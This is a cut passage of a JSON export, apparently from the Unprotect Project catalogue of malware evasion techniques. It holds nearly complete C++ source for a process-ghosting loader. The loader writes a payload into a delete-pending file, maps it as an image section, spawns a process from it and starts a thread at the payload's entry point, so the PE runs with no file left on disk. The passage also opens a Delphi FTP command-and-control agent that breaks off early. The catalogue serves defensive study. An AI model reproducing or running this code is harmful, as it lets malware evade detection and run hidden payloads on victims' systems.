PFILE_DISPOSITION_INFORMATION;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS_\r\n{\r\n\tULONG MaximumLength; // Should be set before call RtlCreateProcessParameters\r\n\tULONG Length; // Length of valid structure\r\n\tULONG Flags; // Currently only PPF_NORMALIZED (1) is known:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t// - Means that structure is normalized by call RtlNormalizeProcessParameters\r\n\tULONG DebugFlags;\r\n\r\n\tPVOID ConsoleHandle; // HWND to console window associated with process (if any).\r\n\tULONG ConsoleFlags;\r\n\tHANDLE StandardInput;\r\n\tHANDLE StandardOutput;\r\n\tHANDLE StandardError;\r\n\r\n\tCURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: \"C:/WinNT/SYSTEM32\"\r\n\tUNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files.\r\n\tUNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image.\r\n\tUNICODE_STRING CommandLine; // Command line\r\n\tPVOID Environment; // Pointer to environment block (see RtlCreateEnvironment)\r\n\tULONG StartingX;\r\n\tULONG StartingY;\r\n\tULONG CountX;\r\n\tULONG CountY;\r\n\tULONG CountCharsX;\r\n\tULONG CountCharsY;\r\n\tULONG FillAttribute; // Fill attribute for console window\r\n\tULONG WindowFlags;\r\n\tULONG ShowWindowFlags;\r\n\tUNICODE_STRING WindowTitle;\r\n\tUNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned\r\n\tUNICODE_STRING ShellInfo;\r\n\tUNICODE_STRING RuntimeData;\r\n\tRTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];\r\n\tULONG EnvironmentSize;\r\n} RTL_USER_PROCESS_PARAMETERS_, * PRTL_USER_PROCESS_PARAMETERS_;\r\n\r\ntypedef NTSTATUS(NTAPI* pRtlCreateProcessParametersEx)(\r\n\t_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,\r\n\t_In_ PUNICODE_STRING ImagePathName,\r\n\t_In_opt_ PUNICODE_STRING DllPath,\r\n\t_In_opt_ PUNICODE_STRING CurrentDirectory,\r\n\t_In_opt_ PUNICODE_STRING CommandLine,\r\n\t_In_opt_ PVOID Environment,\r\n\t_In_opt_ PUNICODE_STRING WindowTitle,\r\n\t_In_opt_ PUNICODE_STRING DesktopInfo,\r\n\t_In_opt_ PUNICODE_STRING ShellInfo,\r\n\t_In_opt_ PUNICODE_STRING RuntimeData,\r\n\t_In_ ULONG Flags\r\n\t);\r\n\r\ntypedef NTSTATUS(NTAPI* pNtCreateProcessEx)\r\n(\r\n\tOUT PHANDLE\t\t\t\tProcessHandle,\r\n\tIN ACCESS_MASK\t\t\tDesiredAccess,\r\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\r\n\tIN HANDLE ParentProcess,\r\n\tIN ULONG Flags,\r\n\tIN HANDLE SectionHandle OPTIONAL,\r\n\tIN HANDLE DebugPort OPTIONAL,\r\n\tIN HANDLE ExceptionPort OPTIONAL,\r\n\tIN BOOLEAN InJob\r\n\t);\r\ntypedef NTSTATUS(NTAPI* pNtCreateThreadEx) (\r\n\tOUT PHANDLE ThreadHandle,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\r\n\tIN HANDLE ProcessHandle,\r\n\tIN PVOID StartRoutine,\r\n\tIN PVOID Argument OPTIONAL,\r\n\tIN ULONG CreateFlags,\r\n\tIN ULONG_PTR ZeroBits,\r\n\tIN SIZE_T StackSize OPTIONAL,\r\n\tIN SIZE_T MaximumStackSize OPTIONAL,\r\n\tIN PVOID AttributeList OPTIONAL\r\n\t);\r\ntypedef NTSTATUS(NTAPI* pNtCreateSection)(\r\n\tPHANDLE SectionHandle,\r\n\tACCESS_MASK DesiredAccess,\r\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\r\n\tPLARGE_INTEGER MaximumSize,\r\n\tULONG SectionPageProtection,\r\n\tULONG AllocationAttributes,\r\n\tHANDLE FileHandle\r\n\t);\r\n\r\ntypedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN PROCESSINFOCLASS ProcessInformationClass,\r\n\tOUT PVOID ProcessInformation,\r\n\tIN ULONG ProcessInformationLength,\r\n\tOUT PULONG ReturnLength OPTIONAL\r\n);\r\n\r\ntypedef NTSTATUS (NTAPI* pNtSetInformationFile)(\r\n\tIN HANDLE FileHandle,\r\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\r\n\tIN PVOID FileInformation,\r\n\tIN ULONG Length,\r\n\tIN FILE_INFORMATION_CLASS FileInformationClass\r\n);\r\n\r\nstatic pNtCreateProcessEx\tNtCreateProcessEx = nullptr;\r\nstatic pNtCreateThreadEx\tNtCreateThreadEx = nullptr;\r\nstatic pNtCreateSection\t\tNtCreateSection = nullptr;\r\nstatic pNtQueryInformationProcess NtQueryInformationProcess_ = nullptr;\r\nstatic pNtSetInformationFile NtSetInformationFile = nullptr;\r\nstatic pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = nullptr;\r\n\r\nstd::wstring Str2WStr(const std::string& str)\r\n{\r\n\ttry\r\n\t{\r\n\t\tUSES_CONVERSION;\r\n\t\treturn A2W(str.c_str());\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn L\"\";\r\n\t}\r\n}\r\n\r\nstd::string WStr2Str(const std::wstring& wstr)\r\n{\r\n\ttry\r\n\t{\r\n\t\tUSES_CONVERSION;\r\n\t\treturn W2A(wstr.c_str());\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn \"\";\r\n\t}\r\n}\r\n\r\nconst bool CGetCurrentDirectory(std::string& strDirpath)\r\n{\r\n\tchar szModule[1024] = { 0, };\r\n\tGetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));\r\n\tstrDirpath = szModule;\r\n\tif (0 >= strDirpath.size())\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Error\");\r\n\t\treturn 0;\r\n\t}\r\n\tsize_t offset = strDirpath.rfind(\"\\\\\");\r\n\tif (0 >= offset)\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Size < 0\");\r\n\t\treturn 0;\r\n\t}\r\n\tstrDirpath = strDirpath.substr(0, offset + 1);\r\n\treturn true;\r\n}\r\n\r\nconst bool InitFunction()\r\n{\r\n\tconst HMODULE hLib = LoadLibraryA(\"ntdll.dll\");\r\n\tif (hLib == nullptr) {\r\n\t\treturn false;\r\n\t}\r\n\t{\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateProcessEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateProcessEx = (pNtCreateProcessEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateThreadEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateThreadEx = (pNtCreateThreadEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateSection\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateSection = (pNtCreateSection)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtQueryInformationProcess\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtQueryInformationProcess_ = (pNtQueryInformationProcess)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtSetInformationFile\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtSetInformationFile = (pNtSetInformationFile)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"RtlCreateProcessParametersEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tRtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\r\n\tif (!NtCreateProcessEx || !NtCreateThreadEx || !NtCreateSection || \\\r\n\t\t!NtQueryInformationProcess_ || !NtSetInformationFile || !RtlCreateProcessParametersEx)\r\n\t\treturn false;\r\n\treturn true;\r\n}\r\n\r\nconst DWORD ReadPayLoadData(const std::string& strFullPath, char*& strReadBuf)\r\n{\r\n\tbool bRet = false;\r\n\tHANDLE hFile = NULL; \r\n\tDWORD dwSize = 0;\r\n\thFile = CreateFileA(strFullPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\r\n\tdo\r\n\t{\r\n\t\tif (hFile == INVALID_HANDLE_VALUE)\r\n\t\t\tbreak;\r\n\t\tdwSize = GetFileSize(hFile, &dwSize);\r\n\t\tstrReadBuf = new char[dwSize + 1];\r\n\t\tif (!strReadBuf)\r\n\t\t\tbreak;\r\n\t\tRtlSecureZeroMemory(strReadBuf, dwSize + 1);\r\n\t\tbRet = true;\r\n\t} while (false);\r\n\tif (hFile) {\r\n\t\tReadFile(hFile, strReadBuf, dwSize, &dwSize, NULL);\r\n\t\tCloseHandle(hFile);\r\n\t}\r\n\treturn dwSize;\r\n}\r\n\r\nconst bool GetProcessPeb(HANDLE hProcess, OUT PEB_& peb, PROCESS_BASIC_INFORMATION& pbi)\r\n{\r\n\tbool bSuc = false;\r\n\tHANDLE hNewDup = nullptr;\r\n\tif (DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hNewDup, 0, FALSE, DUPLICATE_SAME_ACCESS))\r\n\t{\r\n\t\tconst NTSTATUS nRet = NtQueryInformationProcess_(hNewDup, ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);\r\n\t\tif (BCRYPT_SUCCESS(nRet)) {\r\n\t\t\tif (ReadProcessMemory(hNewDup, pbi.PebBaseAddress, &peb, sizeof(PEB_), 0))\r\n\t\t\t{\r\n\t\t\t\tbSuc = true;\r\n\t\t\t\t//if (ReadProcessMemory(hNewDup, peb.ProcessParameters, &rups, sizeof(RTL_USER_PROCESS_PARAMETERS), 0))\r\n\t\t\t\t//\tbSuc = true;\r\n\t\t\t\t//else\r\n\t\t\t\t//\tstd::cerr << \"[-] Peb ProcessParameters Failuer\" << std::endl;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\tstd::cerr << \"[-] Peb ReadProcessMemory Failuer\" << std::endl;\r\n\t\t}\r\n\t\telse\r\n\t\t\tstd::cerr << \"[-] Peb NtQueryInformationProcess Failuer\" << std::endl;\r\n\t\tCloseHandle(hNewDup);\r\n\t}\r\n\treturn bSuc;\r\n}\r\n\r\nconst ULONGLONG GetEntryPointRva(char*& pData)\r\n{\r\n\ttry\r\n\t{\r\n\t\tPIMAGE_DOS_HEADER pDosHander = (PIMAGE_DOS_HEADER)pData;\r\n#ifdef _WIN64\r\n\t\tPIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (DWORD64)pData);\r\n#else\r\n\t\tPIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (LONG)pData);\r\n#endif\r\n\t\tif(pHeadres)\r\n\t\t\treturn pHeadres->OptionalHeader.AddressOfEntryPoint;\r\n\t\treturn 0;\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n\r\nLPVOID const WriteParamsProcess(const HANDLE& hProcess, const PRTL_USER_PROCESS_PARAMETERS_& params, DWORD protect)\r\n{\r\n\tif (!hProcess || !params)\r\n\t\treturn nullptr;\r\n\r\n\tPVOID buffer = params;\r\n\tULONG_PTR buffer_end = (ULONG_PTR)params + params->Length;\r\n\r\n\t//params and environment in one space:\r\n\tif (params->Environment) {\r\n\t\tif ((ULONG_PTR)params > (ULONG_PTR)params->Environment) {\r\n\t\t\tbuffer = (PVOID)params->Environment;\r\n\t\t}\r\n\t\tULONG_PTR env_end = (ULONG_PTR)params->Environment + params->EnvironmentSize;\r\n\t\tif (env_end > buffer_end) {\r\n\t\t\tbuffer_end = env_end;\r\n\t\t}\r\n\t}\r\n\t// copy the continuous area containing parameters + environment\r\n\tSIZE_T buffer_size = buffer_end - (ULONG_PTR)buffer;\r\n\tif (VirtualAllocEx(hProcess, buffer, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {\r\n\t\t\tstd::cerr << \"Writing RemoteProcessParams failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t\tif (params->Environment) {\r\n\t\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {\r\n\t\t\t\tstd::cerr << \"Writing environment failed\" << std::endl;\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn (LPVOID)params;\r\n\t}\r\n\r\n\t// could not copy the continuous space, try to fill it as separate chunks:\r\n\tif (!VirtualAllocEx(hProcess, (LPVOID)params, params->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\tstd::cerr << \"Allocating RemoteProcessParams failed\" << std::endl;\r\n\t\treturn nullptr;\r\n\t}\r\n\tif (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {\r\n\t\tstd::cerr << \"Writing RemoteProcessParams failed\" << std::endl;\r\n\t\treturn nullptr;\r\n\t}\r\n\tif (params->Environment) {\r\n\t\tif (!VirtualAllocEx(hProcess, (LPVOID)params->Environment, params->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\t\tstd::cerr << \"Allocating environment failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {\r\n\t\t\tstd::cerr << \"Writing environment failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t}\r\n\treturn (LPVOID)params;\r\n}\r\n\r\nconst bool SetProcessParameter(const HANDLE& hProcess, const std::string& targetPath, const ULONGLONG uPebBaseAddr)\r\n{\r\n\t// Set Process Parameter\r\n\tconst std::wstring wTarGetPath = Str2WStr(targetPath).c_str();\r\n\tUNICODE_STRING uTargetPath = { 0 };\r\n\tRtlInitUnicodeString(&uTargetPath, wTarGetPath.c_str());\r\n\r\n\tstd::wstring::size_type wStrType = wTarGetPath.find_last_of('\\\\');\r\n\tif (wStrType == std::wstring::npos)\r\n\t\treturn false;\r\n\r\n\tstd::wstring wstrTarGetCurrentDir = wTarGetPath.substr(0, wStrType);\r\n\tif (wstrTarGetCurrentDir.empty())\r\n\t\treturn false;\r\n\r\n\tUNICODE_STRING uTGetCurrentDir = { 0 };\r\n\tRtlInitUnicodeString(&uTGetCurrentDir, wstrTarGetCurrentDir.c_str());\r\n\r\n\tconst wchar_t dllDir[] = L\"C:\\\\Windows\\\\System32\";\r\n\tUNICODE_STRING uDllDir = { 0 };\r\n\tRtlInitUnicodeString(&uDllDir, dllDir);\r\n\r\n\tUNICODE_STRING uWindowName = { 0 };\r\n\tconst wchar_t* windowName = (LPWSTR)L\"360\";\r\n\tRtlInitUnicodeString(&uWindowName, windowName);\r\n\r\n\tLPVOID environment;\r\n\tCreateEnvironmentBlock(&environment, NULL, TRUE);\r\n\r\n\tPRTL_USER_PROCESS_PARAMETERS_ params = nullptr;\r\n\tNTSTATUS nStu = RtlCreateProcessParametersEx(\r\n\t\t(PRTL_USER_PROCESS_PARAMETERS*)(¶ms),\r\n\t\t(PUNICODE_STRING)&uTargetPath,\r\n\t\t(PUNICODE_STRING)&uDllDir,\r\n\t\t(PUNICODE_STRING)&uTGetCurrentDir,\r\n\t\t(PUNICODE_STRING)&uTargetPath,\r\n\t\tenvironment,\r\n\t\t(PUNICODE_STRING)&uWindowName,\r\n\t\tnullptr,\r\n\t\tnullptr,\r\n\t\tnullptr,\r\n\t\tRTL_USER_PROC_PARAMS_NORMALIZED\r\n\t);\r\n\r\n\tif (!NT_SUCCESS(nStu)) {\r\n\t\tstd::cerr << \"[-] RtlCreateProcessParametersEx failed\" << std::endl;\r\n\t\treturn false;\r\n\t}\r\n\r\n\tLPVOID pRemoteParams = WriteParamsProcess(hProcess, params, PAGE_READWRITE);\r\n\tif (!pRemoteParams) {\r\n\t\tstd::cout << \"[-] Cannot make a remote copy of parameters: \" << GetLastError() << std::endl;\r\n\t\treturn false;\r\n\t}\r\n\r\n\t// Set Params In Peb\r\n\t{\r\n\t\t// Get access to the remote PEB:\r\n\t\tULONGLONG remote_peb_addr = uPebBaseAddr;\r\n\t\tif (!remote_peb_addr) {\r\n\t\t\tstd::cerr << \"[-] Failed getting remote PEB address!\" << std::endl;\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tPEB peb_copy = { 0 };\r\n\t\tULONGLONG offset = (ULONGLONG)&peb_copy.ProcessParameters - (ULONGLONG)&peb_copy;\r\n\r\n\t\t// Calculate offset of the parameters\r\n\t\tLPVOID remote_img_base = (LPVOID)(remote_peb_addr + offset);\r\n\r\n\t\t//Write parameters address into PEB:\r\n\t\tSIZE_T written = 0;\r\n\t\tif (!WriteProcessMemory(hProcess, remote_img_base,\r\n\t\t\t&pRemoteParams, sizeof(PVOID),\r\n\t\t\t&written))\r\n\t\t{\r\n\t\t\tstd::cout << \"[-] Cannot update Params!\" << std::endl;\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif (argc < 3) {\r\n\t\tstd::cout << \"[-] Parameter Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sPayLoadPath = argv[1];\r\n\tif (sPayLoadPath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter PayLoad Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sTargetPath = argv[2];\r\n\tif (sTargetPath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter Target Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// Read Payload to BufData\r\n\tchar* pPayLoadData = nullptr;\r\n\tconst DWORD dwDataSize = ReadPayLoadData(sPayLoadPath, pPayLoadData);\r\n\tif (!pPayLoadData) {\r\n\t\tstd::cout << \"[-] Read Payload Data Failuer, Path: \" << sPayLoadPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\tstd::cout << \"[+] Read Payload Data Success, Path: \" << sPayLoadPath.c_str() << std::endl;\r\n\r\n\tif (!InitFunction()) {\r\n\t\tstd::cout << \"[-] Init Function Failuer, Path: \" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\t// 1. Create New File\r\n\tHANDLE hFile = CreateFileA(\r\n\t\tsTargetPath.c_str(),\r\n\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\tNULL,\r\n\t\tCREATE_ALWAYS,\r\n\t\tFILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,\r\n\t\tNULL);\r\n\r\n\tif (INVALID_HANDLE_VALUE == hFile || !hFile) {\r\n\t\tstd::cout << \"[-] Create New TargetPath File Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tHANDLE hSection = nullptr;\r\n\tHANDLE hProcess = nullptr;\r\n\tdo\r\n\t{\r\n\t\t// Set FileAttr Delete on Close FILE_FLAG_DELETE_ON_CLOSE\r\n\t\tIO_STATUS_BLOCK status_block = { 0 };\r\n\t\tFILE_DISPOSITION_INFORMATION info = { 0 };\r\n\t\tinfo.DeleteFile = TRUE;\r\n\t\tNTSTATUS hStu = NtSetInformationFile(hFile, &status_block, &info, sizeof(info), (FILE_INFORMATION_CLASS)FileDispositionInformation);\r\n\t\tif (!NT_SUCCESS(hStu)) {\r\n\t\t\tstd::cout << \"[-] SetInformationFile Delete Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\t// 3. Write Data Flush\r\n\t\tDWORD dWriteLens = 0;\r\n\t\tOVERLAPPED overped = { 0, };\r\n\t\tWriteFile(hFile, pPayLoadData, dwDataSize, &dWriteLens, &overped);\r\n\t\tFlushFileBuffers(hFile);\r\n\r\n\t\t// 4. Craete Section\r\n\t\thStu = NtCreateSection(&hSection,\r\n\t\t\tSECTION_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\t0,\r\n\t\t\tPAGE_READONLY,\r\n\t\t\tSEC_IMAGE,\r\n\t\t\thFile\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu) || !hSection) {\r\n\t\t\tstd::cout << \"[-] CreateSection Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateSection Success, Path: \" << sTargetPath.c_str() << std::endl;\r\n\r\n\t\t// 5. Close File Handle -- File Mark Delete & Delete\r\n\t\tif (hFile) {\r\n\t\t\tCloseHandle(hFile);\r\n\t\t\thFile = NULL;\r\n\t\t}\r\n\r\n\t\t// 6. CreateProcessEx\r\n\t\thStu = NtCreateProcessEx(\r\n\t\t\t&hProcess,\r\n\t\t\tPROCESS_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\tGetCurrentProcess(),\r\n\t\t\t4,// PS_INHERIT_HANDLES\r\n\t\t\thSection,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tFALSE\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu) || !hProcess) {\r\n\t\t\tstd::cout << \"[-] CreateProcess Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateProcess Success, Path: \" << sTargetPath.c_str() << std::endl;\r\n\r\n\t\t// 7. Get Pe ImageBase pEntry\r\n\t\tPEB_ pebData = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0, };\r\n\t\tif (!GetProcessPeb(hProcess, pebData, pbi)) {\r\n\t\t\tstd::cout << \"[-] Get ProcessPeb Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tULONGLONG uImageBaseAddr = (ULONGLONG)pebData.ImageBaseAddress;\r\n\t\tstd::cout << \"[+] Get Process ImageBase Success, Handle: \" << hProcess << \" ImageBaseAddr: \" << uImageBaseAddr << std::endl;\r\n\r\n\t\t// Get File Oep\r\n\t\tULONGLONG procEntry = 0;\r\n\t\tconst ULONGLONG dwPayLoadEp = GetEntryPointRva(pPayLoadData);\r\n\t\tif (dwPayLoadEp) {\r\n\t\t\tprocEntry = dwPayLoadEp + uImageBaseAddr;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tstd::cout << \"[-] Get PE Rva Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] Get OEP Success, Handle: \" << hProcess << \" OEPAddr: \" << procEntry << std::endl;\r\n\t\t\r\n\t\t// Create \r\n\t\tif (!SetProcessParameter(hProcess, sTargetPath, (ULONGLONG)pbi.PebBaseAddress)) {\r\n\t\t\tstd::cout << \"[-] Set Process Parameter Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t}\r\n\r\n\t\t// 8. CreateThread ImageBase\r\n\t\tHANDLE hThread = NULL;\r\n\t\thStu = NtCreateThreadEx(&hThread,\r\n\t\t\tTHREAD_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\thProcess,\r\n\t\t\t(LPTHREAD_START_ROUTINE)procEntry,\r\n\t\t\tNULL,\r\n\t\t\tFALSE,\r\n\t\t\t0,\r\n\t\t\t0,\r\n\t\t\t0,\r\n\t\t\tNULL\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu)) {\r\n\t\t\tstd::cout << \"[-] CreateThread Pointer Pe Runing Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateThread Runing Success, Handle \" << hProcess << \" Tid: \" << hThread << std::endl;\r\n\t} while (false);\r\n\t\t\r\n\t// clear\r\n\tif (pPayLoadData) {\r\n\t\tdelete[] pPayLoadData; pPayLoadData = nullptr;\r\n\t}\r\n\tif (hSection) {\r\n\t\tCloseHandle(hSection);\r\n\t\thSection = NULL;\r\n\t}\r\n\tif (hFile) {\r\n\t\tCloseHandle(hFile);\r\n\t\thFile = NULL;\r\n\t}\r\n\tif (hProcess) {\r\n\t\tCloseHandle(hProcess);\r\n\t\thProcess = NULL;\r\n\t}\r\n\treturn 0;\r\n}"
},
{
"id": 198,
"language": {
"id": 1,
"label": "Delphi",
"code_class": "Delphi"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/353/?format=api",
"description": "This code snippet utilizes the Windows API, specifically the [Wininet](https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet?FWT_mc_id=DSEC-MVP-5005282) library, to execute FTP operations.",
"plain_code": "(*\r\n * =========================================================================================\r\n * www.unprotect.it (Unprotect Project)\r\n * Author: Jean-Pierre LESUEUR (@DarkCoderSc)\r\n * =========================================================================================\r\n *)\r\n\r\n // WinApi Documentation\r\n // https://learn.microsoft.com/en-us/windows/win32/wininet/ftp-sessions?FWT_mc_id=DSEC-MVP-5005282\r\n\r\nprogram FtpC2;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses Winapi.Windows,\r\n Winapi.WinInet,\r\n System.Classes,\r\n System.SysUtils,\r\n System.IOUtils,\r\n System.hash;\r\n\r\ntype\r\n EFtpException = class(Exception);\r\n\r\n EWindowsException = class(Exception)\r\n private\r\n FLastError : Integer;\r\n public\r\n {@C}\r\n constructor Create(const WinAPI : String); overload;\r\n\r\n {@G}\r\n property LastError : Integer read FLastError;\r\n end;\r\n\r\n TDaemon = class(TThread)\r\n private\r\n FAgentSession : TGUID;\r\n FFtpHost : String;\r\n FFtpPort : Word;\r\n FFtpUser : String;\r\n FFtpPassword : String;\r\n protected\r\n procedure Execute(); override;\r\n public\r\n {@C}\r\n constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT); overload;\r\n end;\r\n\r\n TFtpHelper = class\r\n private\r\n FInternetHandle : HINTERNET;\r\n FFtpHandle : HINTERNET;\r\n\r\n FFtpHost : String;\r\n FFtpPort : Word;\r\n FFtpUser : String;\r\n FFtpPassword : String;\r\n\r\n {@M}\r\n function IsConnected() : Boolean;\r\n procedure CheckConnected();\r\n public\r\n {@M}\r\n procedure Connect();\r\n procedure Disconnect();\r\n\r\n procedure Browse(const ADirectory : String);\r\n\r\n procedure UploadStream(var AStream : TMemoryStream; const AFileName : String);\r\n function DownloadStream(const AFileName : String) : TMemoryStream;\r\n\r\n procedure UploadString(const AContent, AFileName : String);\r\n function DownloadString(const AFileName : String) : String;\r\n\r\n function GetCurrentDirectory() : String;\r\n procedure SetCurrentDirectory(const APath : String);\r\n\r\n function DirectoryExists(const ADirectory : String) : Boolean;\r\n procedure CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);\r\n procedure CreateOrBrowseDirectory(const ADirectoryName : String);\r\n procedure DeleteFile(const AFileName : String);\r\n\r\n {@C}\r\n constructor Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP'); overload;\r\n constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String) overload;\r\n\r\n destructor Destroy(); override;\r\n\r\n {@G}\r\n property Connected : Boolean read IsConnected;\r\n end;\r\n\r\n(* EWindowsException *)\r\n\r\n{ EWindowsException.Create }\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n FLastError := GetLastError();\r\n\r\n AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n WinAPI,\r\n FLastError,\r\n SysErrorMessage(FLastError)\r\n ]);\r\n\r\n // [+] ERROR_INTERNET_EXTENDED_ERROR\r\n\r\n ///\r\n inherited Create(AFormatedMessage);\r\nend;\r\n\r\n(* TFtpHelper *)\r\n\r\n{ TFtpHelper.Create }\r\nconstructor TFtpHelper.Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP');\r\nbegin\r\n inherited Create();\r\n ///\r\n\r\n FFtpHost := AFtpHost;\r\n FFtpPort := AFtpPort;\r\n FFtpUser := AFtpUser;\r\n FFtpPassword := AFtpPassword;\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw?FWT_mc_id=DSEC-MVP-5005282\r\n FInternetHandle := InternetOpenW(PWideChar(AAgent), INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);\r\n if not 